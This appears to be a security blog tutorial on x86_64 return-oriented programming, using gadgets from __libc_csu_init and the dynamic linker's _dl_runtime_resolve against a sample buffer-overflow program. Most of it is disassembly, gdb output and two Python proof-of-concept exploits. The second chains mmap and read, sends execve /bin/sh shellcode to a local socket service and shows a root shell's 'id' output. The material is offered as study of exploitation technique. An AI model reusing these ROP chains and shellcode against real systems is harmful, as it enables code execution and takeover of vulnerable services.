Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>
int main(void) {
char buf[64];
read(0, buf, 2048);
return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000401830 <+0>: mov QWORD PTR [rsp-0x28],rbp
0x0000000000401835 <+5>: mov QWORD PTR [rsp-0x20],r12
0x000000000040183a <+10>: lea rbp,[rip+0x2007c7] # 0x602008
0x0000000000401841 <+17>: lea r12,[rip+0x2007b8] # 0x602000
0x0000000000401848 <+24>: mov QWORD PTR [rsp-0x30],rbx
0x000000000040184d <+29>: mov QWORD PTR [rsp-0x18],r13
0x0000000000401852 <+34>: mov QWORD PTR [rsp-0x10],r14
0x0000000000401857 <+39>: mov QWORD PTR [rsp-0x8],r15
0x000000000040185c <+44>: sub rsp,0x38
0x0000000000401860 <+48>: sub rbp,r12
0x0000000000401863 <+51>: mov r15d,edi
0x0000000000401866 <+54>: mov r14,rsi
0x0000000000401869 <+57>: sar rbp,0x3
0x000000000040186d <+61>: mov r13,rdx
0x0000000000401870 <+64>: xor ebx,ebx
0x0000000000401872 <+66>: call 0x400708 <_init>
0x0000000000401877 <+71>: test rbp,rbp
0x000000000040187a <+74>: je 0x401896 <__libc_csu_init+102>
0x000000000040187c <+76>: nop DWORD PTR [rax+0x0]
0x0000000000401880 <+80>: mov rdx,r13
0x0000000000401883 <+83>: mov rsi,r14
0x0000000000401886 <+86>: mov edi,r15d
0x0000000000401889 <+89>: call QWORD PTR [r12+rbx*8]
0x000000000040188d <+93>: add rbx,0x1
0x0000000000401891 <+97>: cmp rbx,rbp
0x0000000000401894 <+100>: jne 0x401880 <__libc_csu_init+80>
0x0000000000401896 <+102>: mov rbx,QWORD PTR [rsp+0x8]
0x000000000040189b <+107>: mov rbp,QWORD PTR [rsp+0x10]
0x00000000004018a0 <+112>: mov r12,QWORD PTR [rsp+0x18]
0x00000000004018a5 <+117>: mov r13,QWORD PTR [rsp+0x20]
0x00000000004018aa <+122>: mov r14,QWORD PTR [rsp+0x28]
0x00000000004018af <+127>: mov r15,QWORD PTR [rsp+0x30]
0x00000000004018b4 <+132>: add rsp,0x38
0x00000000004018b8 <+136>: ret
Controlling registers EDI and ESI:
Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
0x4018ab <__libc_csu_init+123>: mov esi,DWORD PTR [rsp+0x28]
0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
gdb-peda$ x/3i 0x00000000004018b0
0x4018b0 <__libc_csu_init+128>: mov edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call
Controlling registers EDI, RSI and RDX:
The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
0x0000000000401889 <+89>: call QWORD PTR [r12+rbx*8]
0x000000000040188d <+93>: add rbx,0x1
0x0000000000401891 <+97>: cmp rbx,rbp
0x0000000000401894 <+100>: jne 0x401880 <__libc_csu_init+80>
To effectively use
mov rdx,r13 , we have to ensure that
call QWORD PTR [r12+rbx*8] doesn't SIGSEGV,
cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
0x400378 <_init>: sub rsp,0x8
gdb-peda$ x/i 0x0000000000400618
0x400618 <_fini>: sub rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make
call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
0x0000000000400618 <+0>: sub rsp,0x8
0x000000000040061c <+4>: call 0x400480 <__do_global_dtors_aux>
0x0000000000400621 <+9>: add rsp,0x8
0x0000000000400625 <+13>: ret
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python
import struct
payload = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6)
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ;
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8
# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0) # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1) # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718) # address in R12
payload += "B"*8 # Value for EDI register
payload += "C"*8 # Value for RSI register
payload += "D"*8 # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80>
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ;
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax 0x7 0x7
rbx 0x4545454545454545 0x4545454545454545
rcx 0x38b7ad41d0 0x38b7ad41d0
rdx 0x4444444444444444 0x4444444444444444
rsi 0x4343434343434343 0x4343434343434343
rdi 0x42424242 0x42424242
rbp 0x4545454545454545 0x4545454545454545
rsp 0x7fffbbd90350 0x7fffbbd90350
r8 0x38b7d7a300 0x38b7d7a300
r9 0x38b720e8e0 0x38b720e8e0
r10 0x7fffbbd90000 0x7fffbbd90000
r11 0x246 0x246
r12 0x4545454545454545 0x4545454545454545
r13 0x4545454545454545 0x4545454545454545
r14 0x4545454545454545 0x4545454545454545
r15 0x4545454545454545 0x4545454545454545
rip 0xdeadbeef 0xdeadbeef
eflags 0x10206 [ PF IF RF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make
call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.
Stack Shifting gadget:
Another important gadget that __libc_csu_init provides is
pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
0x401898 <__libc_csu_init+104>: pop rsp
0x401899 <__libc_csu_init+105>: and al,0x8
0x40189b <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10]
0x4018a0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18]
0x4018a5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20]
0x4018aa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
Dereference with respect to RSP:
This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
0x40188a <__libc_csu_init+90>: call QWORD PTR [rsp+rbx*8]
0x40188d <__libc_csu_init+93>: add rbx,0x1
0x401891 <__libc_csu_init+97>: cmp rbx,rbp
0x401894 <__libc_csu_init+100>: jne 0x401880 <__libc_csu_init+80>
0x401896 <__libc_csu_init+102>: mov rbx,QWORD PTR [rsp+0x8]
0x40189b <__libc_csu_init+107>: mov rbp,QWORD PTR [rsp+0x10]
0x4018a0 <__libc_csu_init+112>: mov r12,QWORD PTR [rsp+0x18]
0x4018a5 <__libc_csu_init+117>: mov r13,QWORD PTR [rsp+0x20]
0x4018aa <__libc_csu_init+122>: mov r14,QWORD PTR [rsp+0x28]
0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>: add rsp,0x38
0x4018b8 <__libc_csu_init+136>: ret
Chaining Gadgets from Linker:
_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
0x38b7214780 <_dl_runtime_resolve>: sub rsp,0x38
0x38b7214784 <_dl_runtime_resolve+4>: mov QWORD PTR [rsp],rax
0x38b7214788 <_dl_runtime_resolve+8>: mov QWORD PTR [rsp+0x8],rcx
0x38b721478d <_dl_runtime_resolve+13>: mov QWORD PTR [rsp+0x10],rdx
0x38b7214792 <_dl_runtime_resolve+18>: mov QWORD PTR [rsp+0x18],rsi
0x38b7214797 <_dl_runtime_resolve+23>: mov QWORD PTR [rsp+0x20],rdi
0x38b721479c <_dl_runtime_resolve+28>: mov QWORD PTR [rsp+0x28],r8
0x38b72147a1 <_dl_runtime_resolve+33>: mov QWORD PTR [rsp+0x30],r9
0x38b72147a6 <_dl_runtime_resolve+38>: mov rsi,QWORD PTR [rsp+0x40]
0x38b72147ab <_dl_runtime_resolve+43>: mov rdi,QWORD PTR [rsp+0x38]
0x38b72147b0 <_dl_runtime_resolve+48>: call 0x38b720de00 <_dl_fixup>
0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35
0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20]
0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18]
0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10]
0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8]
0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp]
0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48
0x38b72147de <_dl_runtime_resolve+94>: jmp r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
0x00000000004003e8 <+0>: jmp QWORD PTR [rip+0x20056a] # 0x600958 <read@got.plt>
0x00000000004003ee <+6>: push 0x1
0x00000000004003f3 <+11>: jmp 0x4003c8 # PLT [0]
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
0x4003c8: push QWORD PTR [rip+0x200572] # 0x600940
0x4003ce: jmp QWORD PTR [rip+0x200574] # 0x600948, GOT entry ie PLTGOT+16
0x4003d4: nop DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780 # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35 + GOT
0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20]
0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18]
0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10]
0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8]
0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp]
0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48
0x38b72147de <_dl_runtime_resolve+94>: jmp r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python
# GADGET
# 0x38b72147b5 <_dl_runtime_resolve+53>: mov r11,rax @ 0x35 from GOT used for PLT[0], leaked address
# 0x38b72147b8 <_dl_runtime_resolve+56>: mov r9,QWORD PTR [rsp+0x30]
# 0x38b72147bd <_dl_runtime_resolve+61>: mov r8,QWORD PTR [rsp+0x28]
# 0x38b72147c2 <_dl_runtime_resolve+66>: mov rdi,QWORD PTR [rsp+0x20]
# 0x38b72147c7 <_dl_runtime_resolve+71>: mov rsi,QWORD PTR [rsp+0x18]
# 0x38b72147cc <_dl_runtime_resolve+76>: mov rdx,QWORD PTR [rsp+0x10]
# 0x38b72147d1 <_dl_runtime_resolve+81>: mov rcx,QWORD PTR [rsp+0x8]
# 0x38b72147d6 <_dl_runtime_resolve+86>: mov rax,QWORD PTR [rsp]
# 0x38b72147da <_dl_runtime_resolve+90>: add rsp,0x48
# 0x38b72147de <_dl_runtime_resolve+94>: jmp r11
import struct
import socket
import time
ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
"\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
"\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )
payload = "A" * 72
# call mmap
payload += struct.pack("<Q", 0x00400574) # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 ) # address of mmap@libc
payload += struct.pack("<Q", 0x38b72147b5 ) # gadget from linker
payload += "ANYTHING" # For RAX
payload += struct.pack("<Q", 34 ) # For RCX, 4th param
payload += struct.pack("<Q", 7 ) # For RDX, 3rd param
payload += struct.pack("<Q", 1024 ) # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 ) # For RDI, 1st param
payload += struct.pack("<Q", 0 ) # For R8, 5th param
payload += struct.pack("<Q", 0 ) # For R9, 6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"
payload += struct.pack("<Q", 0x00400574) # pop rax
payload += struct.pack("<Q", 0x004003e8 ) # For RAX, read@PLT
# call read
payload += struct.pack("<Q", 0x38b72147b5 ) # gadget from linker
payload += "ANYTHING" # For RAX
payload += "ANYTHING" # For RCX, 4th param
payload += struct.pack("<Q", 1024 ) # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 ) # For RSI, 2nd param
payload += struct.pack("<Q", 0 ) # For RDI, 1st param, stdin
payload += "ANYTHING" # For R8, 5th param
payload += "ANYTHING" # For R9, 6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"
payload += struct.pack("<Q", 0x0badc000 ) # jump to shellcode
soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")
print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.